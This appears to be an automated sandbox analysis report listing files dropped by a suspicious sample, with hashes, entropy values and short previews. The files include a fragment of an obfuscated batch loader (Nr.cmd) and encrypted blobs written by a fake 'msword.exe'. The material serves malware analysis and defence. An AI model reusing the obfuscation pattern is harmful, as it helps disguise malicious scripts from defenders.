                                                                          Preview:Set Plug=4..ZQrEf-Bdsm-Janet-Dans-Genres-Census-Strips-Japan-Arrest-..wCAHostels-Incentives-Resolutions-Cave-Prefix-..QbtFancy-Biodiversity-..zLPetite-Holdem-Pam-Francis-Exchange-..CDeOffers-..iQSi-Sexuality-Sisters-..mTSPsychological-Changes-..ZhUgItself-Reverse-..MFVChips-Universities-..pyGMExample-Duncan-Vermont-Literally-Eh-Corresponding-..Set Catherine=9..QdHDivided-Onion-Treatment-Dan-..AtzaAttorneys-Participation-Miracle-Divine-Strongly-..YoRepeat-..TxVSFun-Counted-Transport-Miss-Settle-Receptors-Vulnerable-Distinguished-..yrpZStood-Isp-Supplies-Punch-Wayne-Ventures-..VcHas-Personalized-Encouraging-Thereof-..xkqAsthma-Campaigns-Taxi-Info-..KsJfRequirements-Cam-Says-Coast-Geo-..Set Diagnosis=J..KuSteering-Micro-Louisiana-Sur-..WnmrCorn-Producer-Perfume-Units-Releases-..LCCulture-Corruption-Wives-Departments-Hd-Autos-Electoral-Knowing-Hardwood-..WGNiBoolean-..lRrCPortraits-Desktops-Monthly-Weather-Fioricet-Targets-Conditions-Fox-R-..GMCenturies-Suit-Exchange-Buck-Sep-Inn-Hugo-As-R

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Nr.cmd (copy)

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                          File Type:ASCII text, with very long lines (975), with CRLF line terminators
                                                                          Category:dropped
                                                                          Size (bytes):23449
                                                                          Entropy (8bit):5.134148367041093
                                                                          Encrypted:false
                                                                          SSDEEP:384:b5EawfiYUKjpwVHqyl4PS5Riya68+DsfBL6pbHuwBl60YuyoVDKK3utLK5u+u0EC:bGawfr9Yxbriya68+YQZHuoE0Yxo73e+
                                                                          MD5:9EF6EFA272560F1DEE8923508DAFE2C9
                                                                          SHA1:7E6572FA616E8FE8AB67D2518F8685EB01F46923
                                                                          SHA-256:3B887BAB036D30A1A4FB5C2C6B828F5EF3D8D5C1FF8D4147ED647ACB51AC808A
                                                                          SHA-512:D17464F391FFC0CDB60D5A5669779343C4363130BC31E3902512ECEB5A139454992C00D1D8A9AA5D0BF142B904059E5F90A8804A1D2406FF398D893EA5804CF4
                                                                          Malicious:false
                                                                          Preview:Set Plug=4..ZQrEf-Bdsm-Janet-Dans-Genres-Census-Strips-Japan-Arrest-..wCAHostels-Incentives-Resolutions-Cave-Prefix-..QbtFancy-Biodiversity-..zLPetite-Holdem-Pam-Francis-Exchange-..CDeOffers-..iQSi-Sexuality-Sisters-..mTSPsychological-Changes-..ZhUgItself-Reverse-..MFVChips-Universities-..pyGMExample-Duncan-Vermont-Literally-Eh-Corresponding-..Set Catherine=9..QdHDivided-Onion-Treatment-Dan-..AtzaAttorneys-Participation-Miracle-Divine-Strongly-..YoRepeat-..TxVSFun-Counted-Transport-Miss-Settle-Receptors-Vulnerable-Distinguished-..yrpZStood-Isp-Supplies-Punch-Wayne-Ventures-..VcHas-Personalized-Encouraging-Thereof-..xkqAsthma-Campaigns-Taxi-Info-..KsJfRequirements-Cam-Says-Coast-Geo-..Set Diagnosis=J..KuSteering-Micro-Louisiana-Sur-..WnmrCorn-Producer-Perfume-Units-Releases-..LCCulture-Corruption-Wives-Departments-Hd-Autos-Electoral-Knowing-Hardwood-..WGNiBoolean-..lRrCPortraits-Desktops-Monthly-Weather-Fioricet-Targets-Conditions-Fox-R-..GMCenturies-Suit-Exchange-Buck-Sep-Inn-Hugo-As-R

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Protocol

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\extrac32.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):43912
                                                                          Entropy (8bit):7.0754478586730984
                                                                          Encrypted:false
                                                                          SSDEEP:768:tBGmd9OTGQ1Dv7sMvLHfR/ZByLiFuO/ChgZ45VatJVEV3GPkjF:tBGmdATGODv7xvTphAiPChgZ2kOE6
                                                                          MD5:28E6332970BFF06A0431BFEFBCD59462
                                                                          SHA1:20902CDBF1A8D4DC081ADB967692C0C4ADD030BC
                                                                          SHA-256:85C250563E37692A5A0188EAC2EE3E27D6A7DAB102E0200DF20D027B33DE8E91
                                                                          SHA-512:CB1FB1F5A97E6A4F790D61E6964FFA4967591946DC03C639E944455DE893070547DA9B5401952DD5FA93FF66CF5F66F7A15F04913C41F4514A7DE067C8E6F60C
                                                                          Malicious:false
                                                                          Preview:..].........`...]...]...]...........0................]...]...]...]...]...]...]...]....................................p...]...]...]...]...p...................................................................................................0.........................0......................................................................................00......h..... ....................(.....00............ ....................h........... .A?....00.... ..%.... .... ............. .h...........(....... ...................................z`..y_..M,..6...).......,...:...nnn.jb..ZF..F).._@..9...eee..................................................................................................................................................................7............................................(.........(....... ...................................z`..y_..M,..6...).......,...:...nnn.jb..ZF..F).._@..9...eee.................................................................

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Realm

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):42495
                                                                          Entropy (8bit):7.994847286020057
                                                                          Encrypted:true
                                                                          SSDEEP:768:0SLfZMdEvp3jxmff02Y0Vo91+u08R48OcPk4h+ZnWlJcCQbem8OU3VOmWZ:bZg02tV21q1P4h3wHAFOmWZ
                                                                          MD5:062E20D07FE052044D9339A8B3F1CB38
                                                                          SHA1:5428326E6D395EEBABEB3FFB1972AE6A8C3DA8AE
                                                                          SHA-256:84DB270DF2972367E799A4F919E5033475A5395B9AD59F50456E340A980B693A
                                                                          SHA-512:2EE25F17BB5BE528ABD2CE9FE4877BFA58B2D30A9503D22B31DD16C80A7B248D14142AAB42ACFFD0A069975490CF370435310E08187311365136680657D3BDF1
                                                                          Malicious:false
                                                                          Preview:.M<..l.v.;. FB.4.h{..I.....jo_..~6s..7..bM.}..V.&.o_Y..k..`.x..q...H....6u.`T."....t.v..D.d\tv..J............{.'....S..)..u.nCb.>.0g.uh'.A4.&#o..J..w...g.......eh.K.z...D)78.6.H.S..aP.]...|.....f...zDnlM3.......G\.M...3T..Ow.....z-3...Z,..L...k.\@....43.....j... .$r0H........+.....}..o#.h....t.L.U.X.).t....]&..@...I..".it...4..p].F.(,O.".{.>..s-._$...(.%ZKG.o.6xr|....8.Y...%..J.0.I...P....Io.....1;Z.u..uZ.e..Jr....$.I.{.W..l.....d.@C.`+L. .A.}W..d.X.c..)a.&.P.9 Y....R.R...?o..>......GX.D..i.{.m.?>..<..W+..s8.uK....D...H....Vk.la.X...w..D....t..k.HW....OA....~dU|^DC....D..>...{.t8,o....l.q.nXu.]=4...K.@[?wpn..nY...Q...A.$..=@G....J.O..H.~..:i....!...w..*A=".|.z.jcm........4T...o.,...c1~..B....Yz...8.5qu.<....H..&....[.n..3.=...-l6Z..s...i,0......*.T.{r...F.":. .......j.r-j'3.!....=..iE.oJ.^0;....q/z.]..u"I..X..d..m..Z..L...x....<..g.$...s.*......)..[G.......6.".....f.5.@{..!.+j..yf..iz...=...V.d........6...k.uE]6....Q...mV.i.FU.......v.w..

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Substantial

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):58368
                                                                          Entropy (8bit):7.996685518527556
                                                                          Encrypted:true
                                                                          SSDEEP:1536:Kftiu0ideTjMGF6+YCYNRbYPUU1gqE1oe6kWjlu:958eTN6rCeYPz1gMeClu
                                                                          MD5:734A793F9424DE731EEE480B610E0257
                                                                          SHA1:DD2073F71258FC036517ED503B3F85FD8ECDFDA6
                                                                          SHA-256:0915FFDD69CF4511B586769737D54C9FF5B53EDA730ECA7A4C15C5FF709315EC
                                                                          SHA-512:194915FEEFA2E7D04F0683FD5AF0F37FC550F1A8F4883D80D4CE0E4B6E4091BD9049A52E0FB3E5D3DB872B711431E1D5E7800AA206E3B5654DFD1266FB452335
                                                                          Malicious:false
                                                                          Preview:|U.A&..).?.<.`...D0.3.!=H..Id.,....@r...X...{P.@O.^.G..i.N.d.;k.GjcuuwC.h....E%t.Z..:...T:.s"..',...<.."(._.zk`..|.U...*......L]....{.:.4.....z.!...<..m.3.3..lK..E.u..-..#S.l8.F.G....*.B .h.v..99.6P;..a..O.T..eK...q.j:.4...F\B>c.>r{...4..&U......./.qH...@..U..>...6.B...(d.8......`.L.N......r4.e...fp..X.....w....[K.g.|....om.,.z.Q...fdC..s..n.h...{F.h...,.j].z..?.^.Y.::.-+8....}W.....m..h.Q..Vo..1.g....M......i...R.v3.i29jdc...3\[:..r@.TbPN....pL..Xc.6/T..v..n_..0[........o....TE.`S...N....Kj6hamK...o.0_.H$..... .!a..?u.;.=..C..xp..[.s........O..b.H|....96h..V....??%......9.8.)..*.4L..J..R...9%..O.'..O= a.6..K.o.......}..F....M5e.....8.p.....kqq...eL.u%.....6.66M'n.Uz.....(...?vz.,.2VB'.....:h.#o.8..~..@.6.?m..5.....8....pFX$..M8.%q......`s...y.Nudh.........R...9W[..>%.6O.X.....G.....@...$../.<j.t2.O@r..x.{._.....c!....d%.".y....I.8I./........'q.F....@.+..h..c....j.x.m..M.q.).].c......q.o...ahn..c.-a......Y..+^.G....@.8.....;H..X..t

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Undefined

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):67584
                                                                          Entropy (8bit):7.996945320826708
                                                                          Encrypted:true
                                                                          SSDEEP:1536:9bqjXKdCr6Qw/ljXmAZUNbHaQPc0osgAuB6mrQjh4GVnY4t8PwMU:9OadCretrniNX1osgAGrQh4GVY4ePwMU
                                                                          MD5:10CF860D6ED7F8B77D7F02A407DDDE2C
                                                                          SHA1:42C54FF8B32BD09B583E544837A65248AF7B60AB
                                                                          SHA-256:A4E09DE3E94F24B4D2D780667569166F242486A7912706A58AB32CF88F547069
                                                                          SHA-512:355179700261EE76D67CEFCC27A120CA636278636420DF8D5CCE965055CC05F5249F86230A4C1695FCD3DB4A9B91CFD0D1AF5E6723F3A9B396DB1F4B70EC0052
                                                                          Malicious:false
                                                                          Preview:>.m....\qG..........h......y(..].....b8.Bt>f)iW/m..'...=.~Z......?......n.'..1M..w.D.9. .u.y.Ta+...$..Q.v..8........O..X..K.W.....x.".E.."g....9.fk.#.=.....:.OB..7..Tf.4...1AK..}..Y..?..)...V..Jr.v...9...!.2..i.B.!....ji..&.e...Q...*;..k..U11.ov..I.....{q.\.T&.#..r.9.(v-r../....}.T......f..J..%.|u...A..&...S[s....4.j$P..PV..M..s.739$...}..W{.f..&....A..h.....Ye.v......!.+.F.E.1.e...c.....i....D..n.&..g.d....Hx\....b.......N..0.^..O...@j....'..Z.~......w}....g...c....V..b......t..%.....].`@e.`...._......vX.A._....?...Pp.DG.7m.R..4G3@....uy...;L'..II{*....M...Fv.[..<.Vm".....P.w.\......%.kY.^.L[..h.s..`..E.>....g..^.. 8.*..#.[HY@.8.......N.7...m....T...<."}H..3.!.9N$..,.bF.@.......nkP.8.R.-J.~K..<.,...f.vL..........YPA...LHl5\..H....c..G."h..s..X..X.......8...U....,..s`.i......E...o.C'.&+.Lb.&......[t1..>..`t......&`CE.9=..m4..3f|.Y@X..,.u.C.o~....L.E....2.K..}..*;....e....w...U...L...7#.|..`5g.x<....../.]^.j.,y.#W.....B\.y

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):21979
                                                                          Entropy (8bit):5.049158677118914
                                                                          Encrypted:false
                                                                          SSDEEP:384:aPVoGIpN6KQkj2qkjh4iUxehQVlardFWgxOdB2tAHkDNXp5pNSSme+vOjJiYo0ik:aPV3IpNBQkj2Ph4iUxehYlardFWgxOdm
                                                                          MD5:E85ADBB7806D6C2B446681F25E86C54E
                                                                          SHA1:7945DA1DD2CC4F96AD9DD6E40803842C3497B0C0
                                                                          SHA-256:1DE8C1E231A1C77FB42123C0362070540F9692F0A3E4EA5141C6F8EE8DE8EBF5
                                                                          SHA-512:D60A6998458E9D2FB6F6345306DA7CB679E8A8202270B1C31519FFD017C102D7B46A7FD98011577784E2ADA33C0FCCA138EA1BB68C4260E45FA3BAFC307A60D3
                                                                          Malicious:false
                                                                          Preview:PSMODULECACHE.......CB.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DirectAccessClientComponents\DirectAccessClientComponents.psd1........Set-DAEntryPointTableItem....#...Set-DAClientExperienceConfiguration...."...Enable-DAManualEntryPointSelection........Get-DAEntryPointTableItem........Reset-DAEntryPointTableItem....%...Reset-DAClientExperienceConfiguration........Remove-DAEntryPointTableItem........New-DAEntryPointTableItem....#...Get-DAClientExperienceConfiguration....#...Disable-DAManualEntryPointSelection........Rename-DAEntryPointTableItem...............?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ISE\ISE.psd1........Import-IseSnippet........Get-IseSnippet........New-IseSnippet..........?T.z..C...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\iSCSI\iSCSI.psd1........Register-IscsiSession........New-IscsiTargetPortal........Get-IscsiTarget........Connect-IscsiTarget........Get-IscsiConnection........Get-IscsiSession........Remove-IscsiTargetPortal.....

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):64
                                                                          Entropy (8bit):0.34726597513537405
                                                                          Encrypted:false
                                                                          SSDEEP:3:Nlll:Nll
                                                                          MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                          SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                          SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                          SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                          Malicious:false
                                                                          Preview:@...e...........................................................

                                                                          C:\Users\user\AppData\Local\Temp\MSIc6230.LOG

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                          Category:dropped
                                                                          Size (bytes):246
                                                                          Entropy (8bit):3.4963635481307946
                                                                          Encrypted:false
                                                                          SSDEEP:6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClWlxCH:Qw946cPbiOxDlbYnuRKdrxw
                                                                          MD5:557703FF2105E65ABD307F59B71BABBD
                                                                          SHA1:E3A22F35744A1E7B242C1B283A900F4DB59C6854
                                                                          SHA-256:F8CD1DCFB2676BDB3E9A3DA421A884502AC5AFCA916192FEEE0FF45C9584065A
                                                                          SHA-512:5ACF92FDF339AB5E2E4A746B59F5C61D7DC29524CC0BFBD5F7CF6A710E13C869E71BD9E78A08ED5D8095BCCD00A4FD9FAD117B327A6AB8F0E13F7EC62B3DB121
                                                                          Malicious:false
                                                                          Preview:..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .2.2.:.1.9.:.1.3. .=.=.=.....

                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i1dyulfu.oiu.ps1

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:ASCII text, with no line terminators
                                                                          Category:dropped
                                                                          Size (bytes):60
                                                                          Entropy (8bit):4.038920595031593
                                                                          Encrypted:false
                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                          Malicious:false
                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_la55ntkg.tfi.psm1

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:ASCII text, with no line terminators
                                                                          Category:dropped
                                                                          Size (bytes):60
                                                                          Entropy (8bit):4.038920595031593
                                                                          Encrypted:false
                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                          Malicious:false
                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lnpzdqkj.jb1.ps1

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:ASCII text, with no line terminators
                                                                          Category:dropped
                                                                          Size (bytes):60
                                                                          Entropy (8bit):4.038920595031593
                                                                          Encrypted:false
                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                          Malicious:false
                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oqlw24p5.se2.psm1

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:ASCII text, with no line terminators
                                                                          Category:dropped
                                                                          Size (bytes):60
                                                                          Entropy (8bit):4.038920595031593
                                                                          Encrypted:false
                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                          Malicious:false
                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pxtlxmmw.ilm.psm1

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:ASCII text, with no line terminators
                                                                          Category:dropped
                                                                          Size (bytes):60
                                                                          Entropy (8bit):4.038920595031593
                                                                          Encrypted:false
                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                          Malicious:false
                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vgvpdo5u.zza.ps1

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:ASCII text, with no line terminators
                                                                          Category:dropped
                                                                          Size (bytes):60
                                                                          Entropy (8bit):4.038920595031593
                                                                          Encrypted:false
                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                          Malicious:false
                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xs5s4kwg.uz2.ps1

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:ASCII text, with no line terminators
                                                                          Category:dropped
                                                                          Size (bytes):60
                                                                          Entropy (8bit):4.038920595031593
                                                                          Encrypted:false
                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                          Malicious:false
                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zd4tuhg5.4wk.ps1

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:ASCII text, with no line terminators
                                                                          Category:dropped
                                                                          Size (bytes):60
                                                                          Entropy (8bit):4.038920595031593
                                                                          Encrypted:false
                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                          Malicious:false
                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zkjcx3xo.xeg.psm1

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:ASCII text, with no line terminators
                                                                          Category:dropped
                                                                          Size (bytes):60
                                                                          Entropy (8bit):4.038920595031593
                                                                          Encrypted:false
                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                          Malicious:false
                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zyn4rqm3.3gp.psm1

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          File Type:ASCII text, with no line terminators
                                                                          Category:dropped
                                                                          Size (bytes):60
                                                                          Entropy (8bit):4.038920595031593
                                                                          Encrypted:false
                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                          Malicious:false
                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                          C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91c6ru5z_p384v2_62s.tmp

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
                                                                          Category:dropped
                                                                          Size (bytes):144514
                                                                          Entropy (8bit):7.992637131260696
                                                                          Encrypted:true
                                                                          SSDEEP:3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
                                                                          MD5:BA1716D4FB435DA6C47CE77E3667E6A8
                                                                          SHA1:AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
                                                                          SHA-256:AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
                                                                          SHA-512:65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
                                                                          Malicious:false
                                                                          Preview:PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..|....,.A.....Z..a<.C._..../G|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

                                                                          C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9qcwiem_p384uz_62s.tmp

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
                                                                          Category:dropped
                                                                          Size (bytes):144514
                                                                          Entropy (8bit):7.992637131260696
                                                                          Encrypted:true
                                                                          SSDEEP:3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
                                                                          MD5:BA1716D4FB435DA6C47CE77E3667E6A8
                                                                          SHA1:AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
                                                                          SHA-256:AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
                                                                          SHA-512:65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
                                                                          Malicious:false
